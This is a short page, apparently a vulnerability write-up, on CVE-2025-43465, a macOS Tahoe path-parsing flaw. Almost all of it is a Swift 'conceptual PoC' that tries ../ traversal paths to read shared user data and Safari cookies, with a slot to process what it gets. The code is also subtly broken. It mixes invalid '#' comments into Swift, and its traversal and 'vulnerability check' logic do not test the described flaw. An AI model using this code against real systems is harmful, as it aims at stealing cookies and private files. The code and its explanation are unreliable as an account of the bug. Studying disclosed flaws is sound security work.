CVE-2025-43465 macOS Tahoe路径解析漏洞允许应用访问敏感数据

# CVE-2025-43465 Path Traversal PoC (Conceptual) # This is a conceptual PoC demonstrating the path traversal vulnerability # Requires: Local access to macOS Tahoe 26.1 with low-privilege app import Foundation // Attempt to access sensitive data via path traversal func exploitPathTraversal() { let sensitivePaths = [ "../../../../../../Users/Shared/sensitive_data.json", "../../../Library/Application Support/com.apple.Safari/Cookies", "../../../../private/var/tmp/sensitive_file" ] for maliciousPath in sensitivePaths { // Attempt to read file using vulnerable path parsing let fileManager = FileManager.default if let data = try? Data(contentsOf: URL(fileURLWithPath: maliciousPath)) { print("Successfully accessed: \(maliciousPath)") print("Data length: \(data.count) bytes") // Process sensitive data here } } } // Normalize path to check if vulnerable func checkPathVulnerability(path: String) -> Bool { let normalizedPath = (path as NSString).standardizingPath let expandedPath = (path as NSString).expandingTildeInPath // Vulnerability exists if path contains .. and isn't properly validated return path.contains("..") && normalizedPath != expandedPath } // Note: This PoC is for educational purposes only // Actual exploitation requires specific vulnerable code paths in macOS
